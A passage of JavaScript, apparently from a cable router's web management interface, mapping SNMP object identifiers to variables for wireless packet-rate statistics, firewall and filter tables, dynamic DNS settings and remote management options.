Scalar(\"PacketsRcv18Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.8\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv24Mbps= new Scalar(\"PacketsRcv24Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.9\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv36Mbps= new Scalar(\"PacketsRcv36Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.10\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv48Mbps= new Scalar(\"PacketsRcv48Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.11\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv54Mbps= new Scalar(\"PacketsRcv54Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.12\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv108Mbps= new Scalar(\"PacketsRcv108Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.13\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv162Mbps= new Scalar(\"PacketsRcv162Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.14\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv216Mbps= new Scalar(\"PacketsRcv216Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.15\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv270Mbps= new Scalar(\"PacketsRcv270Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.16\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv324Mbps= new Scalar(\"PacketsRcv324Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.17\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv378Mbps= new Scalar(\"PacketsRcv378Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.18\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv432Mbps= new Scalar(\"PacketsRcv432Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.19\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv486Mbps= new Scalar(\"PacketsRcv486Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.20\",2);\nAdvanceWirelessStatsRateStats.PacketsRcv540Mbps= new Scalar(\"PacketsRcv540Mbps\",\"1.3.6.1.4.1.4115.1.20.1.1.3.46.4.21\",2);\nvar arPacketsRcv1Mbps=AdvanceWirelessStatsRateStats.PacketsRcv1Mbps;\nvar arPacketsRcv2Mbps=AdvanceWirelessStatsRateStats.PacketsRcv2Mbps;\nvar arPacketsRcv5HalfMbps=AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps;\nvar arPacketsRcv6Mbps=AdvanceWirelessStatsRateStats.PacketsRcv6Mbps;\nvar arPacketsRcv9Mbps=AdvanceWirelessStatsRateStats.PacketsRcv9Mbps;\nvar arPacketsRcv11Mbps=AdvanceWirelessStatsRateStats.PacketsRcv11Mbps;\nvar arPacketsRcv12Mbps=AdvanceWirelessStatsRateStats.PacketsRcv12Mbps;\nvar arPacketsRcv18Mbps=AdvanceWirelessStatsRateStats.PacketsRcv18Mbps;\nvar arPacketsRcv24Mbps=AdvanceWirelessStatsRateStats.PacketsRcv24Mbps;\nvar arPacketsRcv36Mbps=AdvanceWirelessStatsRateStats.PacketsRcv36Mbps;\nvar arPacketsRcv48Mbps=AdvanceWirelessStatsRateStats.PacketsRcv48Mbps;\nvar arPacketsRcv54Mbps=AdvanceWirelessStatsRateStats.PacketsRcv54Mbps;\nvar arPacketsRcv108Mbps=AdvanceWirelessStatsRateStats.PacketsRcv108Mbps;\nvar arPacketsRcv162Mbps=AdvanceWirelessStatsRateStats.PacketsRcv162Mbps;\nvar arPacketsRcv216Mbps=AdvanceWirelessStatsRateStats.PacketsRcv216Mbps;\nvar arPacketsRcv270Mbps=AdvanceWirelessStatsRateStats.PacketsRcv270Mbps;\nvar arPacketsRcv324Mbps=AdvanceWirelessStatsRateStats.PacketsRcv324Mbps;\nvar arPacketsRcv378Mbps=AdvanceWirelessStatsRateStats.PacketsRcv378Mbps;\nvar arPacketsRcv432Mbps=AdvanceWirelessStatsRateStats.PacketsRcv432Mbps;\nvar arPacketsRcv486Mbps=AdvanceWirelessStatsRateStats.PacketsRcv486Mbps;\nvar arPacketsRcv540Mbps=AdvanceWirelessStatsRateStats.PacketsRcv540Mbps;\n\nvar FWCfg = new Container(\"FWCfg\", \"1.3.6.1.4.1.4115.1.20.1.1.4\");\nFWCfg.FWEnabled= new Scalar(\"FWEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.4.1\",2);\nFWCfg.FWVirtSrvClear= new Scalar(\"FWVirtSrvClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.2\",2);\nFWCfg.FWIPFilterClear= new Scalar(\"FWIPFilterClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.3\",2);\nFWCfg.FWMACFilterClear= new Scalar(\"FWMACFilterClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.4\",2);\nFWCfg.FWPortTrigClear= new Scalar(\"FWPortTrigClear\",\"1.3.6.1.4.1.4115.1.20.1.1.4.5\",2);\nFWCfg.FWEnableDMZ= new Scalar(\"FWEnableDMZ\",\"1.3.6.1.4.1.4115.1.20.1.1.4.6\",2);\nFWCfg.FWIPAddrTypeDMZ= new Scalar(\"FWIPAddrTypeDMZ\",\"1.3.6.1.4.1.4115.1.20.1.1.4.7\",2);\nFWCfg.FWIPAddrDMZ= new Scalar(\"FWIPAddrDMZ\",\"1.3.6.1.4.1.4115.1.20.1.1.4.8\",4, 1);\nFWCfg.FWSecurityLevel= new Scalar(\"FWSecurityLevel\",\"1.3.6.1.4.1.4115.1.20.1.1.4.9\",2);\nFWCfg.FWApplySettings= new Scalar(\"FWApplySettings\",\"1.3.6.1.4.1.4115.1.20.1.1.4.10\",2);\nFWCfg.FWAllowAll= new Scalar(\"FWAllowAll\",\"1.3.6.1.4.1.4115.1.20.1.1.4.14\",2);\nFWCfg.FWAllowICMP= new Scalar(\"FWAllowICMP\",\"1.3.6.1.4.1.4115.1.20.1.1.4.21\",2);\nFWCfg.FWResetDefaults= new Scalar(\"FWResetDefaults\",\"1.3.6.1.4.1.4115.1.20.1.1.4.22\",2);\nFWCfg.FWBlockHTTP= new Scalar(\"FWBlockHTTP\",\"1.3.6.1.4.1.4115.1.20.1.1.4.23\",2);\nFWCfg.FWBlockP2P= new Scalar(\"FWBlockP2P\",\"1.3.6.1.4.1.4115.1.20.1.1.4.24\",2);\nFWCfg.FWBlockIdent= new Scalar(\"FWBlockIdent\",\"1.3.6.1.4.1.4115.1.20.1.1.4.25\",2);\nFWCfg.FWBlockICMP= new Scalar(\"FWBlockICMP\",\"1.3.6.1.4.1.4115.1.20.1.1.4.26\",2);\nFWCfg.FWBlockMulticast= new Scalar(\"FWBlockMulticast\",\"1.3.6.1.4.1.4115.1.20.1.1.4.27\",2);\nFWCfg.FWVSSrcPortExclude= new Scalar(\"FWVSSrcPortExclude\",\"1.3.6.1.4.1.4115.1.20.1.1.4.28\",4);\nFWCfg.FWVSDestPortExclude= new Scalar(\"FWVSDestPortExclude\",\"1.3.6.1.4.1.4115.1.20.1.1.4.29\",4);\nFWCfg.FWEnableNow= new Scalar(\"FWEnableNow\",\"1.3.6.1.4.1.4115.1.20.1.1.4.30\",2);\nFWCfg.FWAllowDestPorts= new Scalar(\"FWAllowDestPorts\",\"1.3.6.1.4.1.4115.1.20.1.1.4.31\",4);\nFWCfg.FWVirtSrvTableEnabled= new Scalar(\"FWVirtSrvTableEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.4.32\",2);\nFWCfg.FWPortTrigTableEnabled= new Scalar(\"FWPortTrigTableEnabled\",\"1.3.6.1.4.1.4115.1.20.1.1.4.33\",2);\n// scm {\nFWCfg.FWIPv6AddrDMZ= new Scalar(\"arFWIPv6AddrDMZ\",\"1.3.6.1.4.1.4115.1.20.1.1.4.39\",4, 1);\n// scm }\nvar arFWEnabled=FWCfg.FWEnabled;\nvar arFWVirtSrvClear=FWCfg.FWVirtSrvClear;\nvar arFWIPFilterClear=FWCfg.FWIPFilterClear;\nvar arFWMACFilterClear=FWCfg.FWMACFilterClear;\nvar arFWPortTrigClear=FWCfg.FWPortTrigClear;\nvar arFWEnableDMZ=FWCfg.FWEnableDMZ;\nvar arFWIPAddrTypeDMZ=FWCfg.FWIPAddrTypeDMZ;\nvar arFWIPAddrDMZ=FWCfg.FWIPAddrDMZ;\nvar arFWSecurityLevel=FWCfg.FWSecurityLevel;\nvar arFWApplySettings=FWCfg.FWApplySettings;\nvar arFWAllowAll=FWCfg.FWAllowAll;\nvar arFWAllowICMP=FWCfg.FWAllowICMP;\nvar arFWResetDefaults=FWCfg.FWResetDefaults;\nvar arFWBlockHTTP=FWCfg.FWBlockHTTP;\nvar arFWBlockP2P=FWCfg.FWBlockP2P;\nvar arFWBlockIdent=FWCfg.FWBlockIdent;\nvar arFWBlockICMP=FWCfg.FWBlockICMP;\nvar arFWBlockMulticast=FWCfg.FWBlockMulticast;\nvar arFWVSSrcPortExclude=FWCfg.FWVSSrcPortExclude;\nvar arFWVSDestPortExclude=FWCfg.FWVSDestPortExclude;\nvar arFWEnableNow=FWCfg.FWEnableNow;\nvar arFWAllowDestPorts=FWCfg.FWAllowDestPorts;\nvar arFWVirtSrvTableEnabled=FWCfg.FWVirtSrvTableEnabled;\nvar arFWPortTrigTableEnabled=FWCfg.FWPortTrigTableEnabled;\n// scm start\nvar arFWIPv6AddrDMZ=FWCfg.FWIPv6AddrDMZ;\n\nvar FWVirtSrvTable = new Table(\"FWVirtSrvTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.12\");\nFWVirtSrvTable.FWVirtSrvIndex = new Column(\"FWVirtSrvIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.1\",66);\nFWVirtSrvTable.FWVirtSrvDesc = new Column(\"FWVirtSrvDesc\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2\",4);\nFWVirtSrvTable.FWVirtSrvPortStart = new Column(\"FWVirtSrvPortStart\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3\",66);\nFWVirtSrvTable.FWVirtSrvPortEnd = new Column(\"FWVirtSrvPortEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4\",66);\nFWVirtSrvTable.FWVirtSrvProtoType = new Column(\"FWVirtSrvProtoType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5\",2);\nFWVirtSrvTable.FWVirtSrvIPAddrType = new Column(\"FWVirtSrvIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6\",2);\nFWVirtSrvTable.FWVirtSrvIPAddr = new Column(\"FWVirtSrvIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7\",4, 1);\nFWVirtSrvTable.FWVirtSrvTOD = new Column(\"FWVirtSrvTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.8\",2);\nFWVirtSrvTable.FWVirtSrvLocalPortStart = new Column(\"FWVirtSrvLocalPortStart\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9\",66);\nFWVirtSrvTable.FWVirtSrvLocalPortEnd = new Column(\"FWVirtSrvLocalPortEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10\",66);\nFWVirtSrvTable.FWVirtSrvRowStatus = new Column(\"FWVirtSrvRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11\",2);\n// scm start\nFWVirtSrvTable.FWVirtSrvIPv6AddrType = new Column(\"arFWVirtSrvActive\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.12\",2);\nFWVirtSrvTable.FWVirtSrvIPv6Addr = new Column(\"arFWVirtSrvIPv6Addr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.12.1.13\",4);\n// scm end\nvar arFWVirtSrvIndex=FWVirtSrvTable.FWVirtSrvIndex;\nvar arFWVirtSrvDesc=FWVirtSrvTable.FWVirtSrvDesc;\nvar arFWVirtSrvPortStart=FWVirtSrvTable.FWVirtSrvPortStart;\nvar arFWVirtSrvPortEnd=FWVirtSrvTable.FWVirtSrvPortEnd;\nvar arFWVirtSrvProtoType=FWVirtSrvTable.FWVirtSrvProtoType;\nvar arFWVirtSrvIPAddrType=FWVirtSrvTable.FWVirtSrvIPAddrType;\nvar arFWVirtSrvIPAddr=FWVirtSrvTable.FWVirtSrvIPAddr;\nvar arFWVirtSrvTOD=FWVirtSrvTable.FWVirtSrvTOD;\nvar arFWVirtSrvLocalPortStart=FWVirtSrvTable.FWVirtSrvLocalPortStart;\nvar arFWVirtSrvLocalPortEnd=FWVirtSrvTable.FWVirtSrvLocalPortEnd;\nvar arFWVirtSrvRowStatus=FWVirtSrvTable.FWVirtSrvRowStatus;\nvar FWVirtSrvIPv6AddrType=FWVirtSrvTable.FWVirtSrvIPv6AddrType;\nvar arFWVirtSrvIPv6Addr=FWVirtSrvTable.FWVirtSrvIPv6Addr;\n\nvar FWIPFilterTable = new Table(\"FWIPFilterTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.13\");\nFWIPFilterTable.FWIPFilterIndex = new Column(\"FWIPFilterIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.1\",66);\nFWIPFilterTable.FWIPFilterDesc = new Column(\"FWIPFilterDesc\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.2\",4);\nFWIPFilterTable.FWIPFilterStartType = new Column(\"FWIPFilterStartType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.3\",2);\nFWIPFilterTable.FWIPFilterStartAddr = new Column(\"FWIPFilterStartAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.4\",4, 1);\nFWIPFilterTable.FWIPFilterEndType = new Column(\"FWIPFilterEndType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.5\",2);\nFWIPFilterTable.FWIPFilterEndAddr = new Column(\"FWIPFilterEndAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.6\",4, 1);\nFWIPFilterTable.FWIPFilterPortStart = new Column(\"FWIPFilterPortStart\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.7\",66);\nFWIPFilterTable.FWIPFilterPortEnd = new Column(\"FWIPFilterPortEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.8\",66);\nFWIPFilterTable.FWIPFilterProtoType = new Column(\"FWIPFilterProtoType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.9\",2);\nFWIPFilterTable.FWIPFilterTOD = new Column(\"FWIPFilterTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.10\",2);\nFWIPFilterTable.FWIPFilterRowStatus = new Column(\"FWIPFilterRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.11\",2);\nFWIPFilterTable.FWIPFilterAction = new Column(\"FWIPFilterAction\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.12\",2);\nFWIPFilterTable.FWIPFilterDirection = new Column(\"FWIPFilterDirection\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.13\",2);\nFWIPFilterTable.FWIPFilterStartMin = new Column(\"FWIPFilterStartMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.14\",2);\nFWIPFilterTable.FWIPFilterEndMin = new Column(\"FWIPFilterEndMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.13.1.15\",2);\n\nvar arFWIPFilterIndex=FWIPFilterTable.FWIPFilterIndex;\nvar arFWIPFilterDesc=FWIPFilterTable.FWIPFilterDesc;\nvar arFWIPFilterStartType=FWIPFilterTable.FWIPFilterStartType;\nvar arFWIPFilterStartAddr=FWIPFilterTable.FWIPFilterStartAddr;\nvar arFWIPFilterEndType=FWIPFilterTable.FWIPFilterEndType;\nvar arFWIPFilterEndAddr=FWIPFilterTable.FWIPFilterEndAddr;\nvar arFWIPFilterPortStart=FWIPFilterTable.FWIPFilterPortStart;\nvar arFWIPFilterPortEnd=FWIPFilterTable.FWIPFilterPortEnd;\nvar arFWIPFilterProtoType=FWIPFilterTable.FWIPFilterProtoType;\nvar arFWIPFilterTOD=FWIPFilterTable.FWIPFilterTOD;\nvar arFWIPFilterRowStatus=FWIPFilterTable.FWIPFilterRowStatus;\nvar arFWIPFilterAction=FWIPFilterTable.FWIPFilterAction;\nvar arFWIPFilterDirection=FWIPFilterTable.FWIPFilterDirection;\nvar arFWIPFilterStartMin=FWIPFilterTable.FWIPFilterStartMin;\nvar arFWIPFilterEndMin=FWIPFilterTable.FWIPFilterEndMin;\n\nvar FWMACFilterTable = new Table(\"FWMACFilterTable\", \"1.3.6.1.4.1.4115.1.20.1.1.4.15\");\nFWMACFilterTable.FWMACFilterIndex = new Column(\"FWMACFilterIndex\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.1\",66);\nFWMACFilterTable.FWMACFilterAddr = new Column(\"FWMACFilterAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.2\",4, 1);\nFWMACFilterTable.FWMACFilterTOD = new Column(\"FWMACFilterTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.3\",2);\nFWMACFilterTable.FWMACFilterRowStatus = new Column(\"FWMACFilterRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.4\",2);\nFWMACFilterTable.FWMACFilterHostName = new Column(\"FWMACFilterHostName\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.5\",4);\nFWMACFilterTable.FWMACFilterStartMin = new Column(\"FWMACFilterStartMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.6\",2);\nFWMACFilterTable.FWMACFilterEndMin = new Column(\"FWMACFilterEndMin\",\"1.3.6.1.4.1.4115.1.20.1.1.4.15.1.7\",2);\nvar arFWMACFilterIndex=FWMACFilterTable.FWMACFilterIndex;\nvar arFWMACFilterAddr=FWMACFilterTable.FWMACFilterAddr;\nvar arFWMACFilterTOD=FWMACFilterTable.FWMACFilterTOD;\nvar arFWMACFilterRowStatus=FWMACFilterTable.FWMACFilterRowStatus;\nvar arFWMACFilterHostName=FWMACFilterTable.FWMACFilterHostName;\nvar arFWMACFilterStartMin=FWMACFilterTable.FWMACFilterStartMin;\nvar arFWMACFilterEndMin=FWMACFilterTable.FWMACFilterEndMin;\n\nvar FWPortTrigTable = new Table(\"FWPortTrigTable\",              \"1.3.6.1.4.1.4115.1.20.1.1.4.16\");\nFWPortTrigTable.FWPortTrigIndex = new Column(\"FWPortTrigIndex\", \"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.1\",66);\nFWPortTrigTable.FWPortTrigDesc = new Column(\"FWPortTrigDesc\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.2\",4);\nFWPortTrigTable.FWPortTrigPortStart = new Column(\"FWPortTrigPortStart\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.3\",66);\nFWPortTrigTable.FWPortTrigPortEnd = new Column(\"FWPortTrigPortEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.4\",66);\nFWPortTrigTable.FWPortTargPortStart = new Column(\"FWPortTargPortStart\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.5\",66);\nFWPortTrigTable.FWPortTargPortEnd = new Column(\"FWPortTargPortEnd\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.6\",66);\nFWPortTrigTable.FWPortTrigProtoType = new Column(\"FWPortTrigProtoType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.7\",2);\nFWPortTrigTable.FWPortTrigTOD = new Column(\"FWPortTrigTOD\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.8\",2);\nFWPortTrigTable.FWPortTrigRowStatus = new Column(\"FWPortTrigRowStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.16.1.9\",2);\nvar arFWPortTrigIndex=FWPortTrigTable.FWPortTrigIndex;\nvar arFWPortTrigDesc=FWPortTrigTable.FWPortTrigDesc;\nvar arFWPortTrigPortStart=FWPortTrigTable.FWPortTrigPortStart;\nvar arFWPortTrigPortEnd=FWPortTrigTable.FWPortTrigPortEnd;\nvar arFWPortTargPortStart=FWPortTrigTable.FWPortTargPortStart;\nvar arFWPortTargPortEnd=FWPortTrigTable.FWPortTargPortEnd;\nvar arFWPortTrigProtoType=FWPortTrigTable.FWPortTrigProtoType;\nvar arFWPortTrigTOD=FWPortTrigTable.FWPortTrigTOD;\nvar arFWPortTrigRowStatus=FWPortTrigTable.FWPortTrigRowStatus;\n\nvar FWFilterRules = new Container(\"FWFilterRules\", \"1.3.6.1.4.1.4115.1.20.1.1.4.17\");\nFWFilterRules.FWFilterProxy= new Scalar(\"FWFilterProxy\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.1\",2);\nFWFilterRules.FWFilterCookies= new Scalar(\"FWFilterCookies\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.2\",2);\nFWFilterRules.FWFilterJavaApplets= new Scalar(\"FWFilterJavaApplets\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.3\",2);\nFWFilterRules.FWFilterActiveX= new Scalar(\"FWFilterActiveX\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.4\",2);\nFWFilterRules.FWFilterPopupWnds= new Scalar(\"FWFilterPopupWnds\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.5\",2);\nFWFilterRules.FWBlockFragIPPkts= new Scalar(\"FWBlockFragIPPkts\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.6\",2);\nFWFilterRules.FWPortScanProtect= new Scalar(\"FWPortScanProtect\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.7\",2);\nFWFilterRules.FWIPFloodDetect= new Scalar(\"FWIPFloodDetect\",\"1.3.6.1.4.1.4115.1.20.1.1.4.17.8\",2);\nvar arFWFilterProxy=FWFilterRules.FWFilterProxy;\nvar arFWFilterCookies=FWFilterRules.FWFilterCookies;\nvar arFWFilterJavaApplets=FWFilterRules.FWFilterJavaApplets;\nvar arFWFilterActiveX=FWFilterRules.FWFilterActiveX;\nvar arFWFilterPopupWnds=FWFilterRules.FWFilterPopupWnds;\nvar arFWBlockFragIPPkts=FWFilterRules.FWBlockFragIPPkts;\nvar arFWPortScanProtect=FWFilterRules.FWPortScanProtect;\nvar arFWIPFloodDetect=FWFilterRules.FWIPFloodDetect;\n\nvar FWDDNSObjs = new Container(\"FWDDNSObjs\", \"1.3.6.1.4.1.4115.1.20.1.1.4.18\");\nFWDDNSObjs.FWDDNSEnable= new Scalar(\"FWDDNSEnable\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.1\",2);\nFWDDNSObjs.FWDDNSType= new Scalar(\"FWDDNSType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.2\",2);\nFWDDNSObjs.FWDDNSUserHame= new Scalar(\"FWDDNSUserHame\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.3\",4);\nFWDDNSObjs.FWDDNSPassword= new Scalar(\"FWDDNSPassword\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.4\",4);\nFWDDNSObjs.FWDDNSDomainName= new Scalar(\"FWDDNSDomainName\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.5\",4);\nFWDDNSObjs.FWDDNSIPAddrType= new Scalar(\"FWDDNSIPAddrType\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.6\",2);\nFWDDNSObjs.FWDDNSIPAddr= new Scalar(\"FWDDNSIPAddr\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.7\",4, 1);\nFWDDNSObjs.FWDDNSStatus= new Scalar(\"FWDDNSStatus\",\"1.3.6.1.4.1.4115.1.20.1.1.4.18.8\",4);\nvar arFWDDNSEnable=FWDDNSObjs.FWDDNSEnable;\nvar arFWDDNSType=FWDDNSObjs.FWDDNSType;\nvar arFWDDNSUserHame=FWDDNSObjs.FWDDNSUserHame;\nvar arFWDDNSPassword=FWDDNSObjs.FWDDNSPassword;\nvar arFWDDNSDomainName=FWDDNSObjs.FWDDNSDomainName;\nvar arFWDDNSIPAddrType=FWDDNSObjs.FWDDNSIPAddrType;\nvar arFWDDNSIPAddr=FWDDNSObjs.FWDDNSIPAddr;\nvar arFWDDNSStatus=FWDDNSObjs.FWDDNSStatus;\n\n\n\n/*var FWDDNSDataTable= new Table(\"FWDDNSDataTable\", \"1.3.6.1.4.1.4115.1.20.11.1.5.12\");\nFWDDNSDataTable.DDNSService= new Column(\"DDNSService\",\"1.3.6.1.4.1.4115.1.20.11.1.5.12.1.1\",4);\nFWDDNSDataTable.DDNSUserName=new Column(\"DDNSUserName\",\"1.3.6.1.4.1.4115.1.20.11.1.5.12.1.2\",4);\nFWDDNSDataTable.DDNSPassword=new Column(\"DDNSPassword\",\"1.3.6.1.4.1.4115.1.20.11.1.5.12.1.3\",4);\nFWDDNSDataTable.DDNSHostNames=new Column(\"DDNSHostNames\",\"1.3.6.1.4.1.4115.1.20.11.1.5.12.1.4\",4);\nvar arDDNSService=  FWDDNSDataTable.DDNSService; \nvar arDDNSUserName= FWDDNSDataTable.DDNSUserName;\nvar arDDNSPassword= FWDDNSDataTable.DDNSPassword; \nvar arDDNSHostNames=FWDDNSDataTable.DDNSHostNames;\n*/\nvar FWDDNSDataTable = new Table(\"FWDDNSDataTable\",                 \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1\");\nFWDDNSDataTable.FWDDNSType =       new Column(\"FWDDNSType\",        \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.3\", 4);\nFWDDNSDataTable.FWDDNSUserHame =   new Column(\"FWDDNSUserHame\",    \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.4\", 4);\nFWDDNSDataTable.FWDDNSPassword =   new Column(\"FWDDNSPassword\",    \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.5\", 4);\nvar arDDNSService=  FWDDNSDataTable.FWDDNSType;\nvar arDDNSUserName= FWDDNSDataTable.FWDDNSUserHame;\nvar arDDNSPassword= FWDDNSDataTable.FWDDNSPassword;\n\nvar FWDDNSHostAccess =                  new Table(\"FWDDNSHostAccess\",   \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2\");\nFWDDNSHostAccess.HostnameDDNSIndex =    new Column(\"HostnameDDNSIndex\", \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.1\", 2);\nFWDDNSHostAccess.HostnameValue =        new Column(\"HostnameValue\",     \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.2\", 2);\nFWDDNSHostAccess.HostnameRowStatus =    new Column(\"HostnameRowStatus\", \"1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.3\", 2);\nvar arHostnameDDNSIndex   = FWDDNSHostAccess.HostnameDDNSIndex;\nvar arHostnameValue       = FWDDNSHostAccess.HostnameValue;\nvar arHostnameRowStatus   = FWDDNSHostAccess.HostnameRowStatus;\n\n\n\nvar FWFeatures = new Container(\"FWFeatures\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19\");\nFWFeatures.FWEnableWanBlocking= new Scalar(\"FWEnableWanBlocking\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.1\",2);\nFWFeatures.FWIPSecPassThru= new Scalar(\"FWIPSecPassThru\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.2\",2);\nFWFeatures.FWPPTPPassThru= new Scalar(\"FWPPTPPassThru\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.3\",2);\nFWFeatures.FWEnableMulticast= new Scalar(\"FWEnableMulticast\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.4\",2);\nFWFeatures.FWEnableRemoteMgmt= new Scalar(\"FWEnableRemoteMgmt\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.5\",2);\nFWFeatures.FWL2TPPassThru= new Scalar(\"FWL2TPPassThru\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.7\",2);\nFWFeatures.FWEnableWanSNMP= new Scalar(\"FWEnableWanSNMP\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.8\",2);\nFWFeatures.FWEnableWanSSH= new Scalar(\"FWEnableWanSSH\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.9\",2);\nFWFeatures.FWEnableLanSNMPWireless= new Scalar(\"FWEnableLanSNMPWireless\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.10\",2);\nvar arFWEnableWanBlocking=FWFeatures.FWEnableWanBlocking;\nvar arFWIPSecPassThru=FWFeatures.FWIPSecPassThru;\nvar arFWPPTPPassThru=FWFeatures.FWPPTPPassThru;\nvar arFWEnableMulticast=FWFeatures.FWEnableMulticast;\nvar arFWEnableRemoteMgmt=FWFeatures.FWEnableRemoteMgmt;\nvar arFWL2TPPassThru=FWFeatures.FWL2TPPassThru;\nvar arFWEnableWanSNMP=FWFeatures.FWEnableWanSNMP;\nvar arFWEnableWanSSH=FWFeatures.FWEnableWanSSH;\nvar arFWEnableLanSNMPWireless=FWFeatures.FWEnableLanSNMPWireless;\n\n// scm add 4\n\nvar FWEnableRemoteMgmt = new Container(\"FWEnableRemoteMgmt\", \"1.3.6.1.4.1.4115.1.20.1.1.4.19.12\");\nFWEnableRemoteMgmt.FWRemoteMgmtHttp= new Scalar(\"FWRemoteMgmtHttp\",\"1.3.6.1.4.1.4115.1.20.1.1.4.19.12.1\",2);\nFWEnableRemoteMgmt.FWRemoteMgmtHttpPort= new 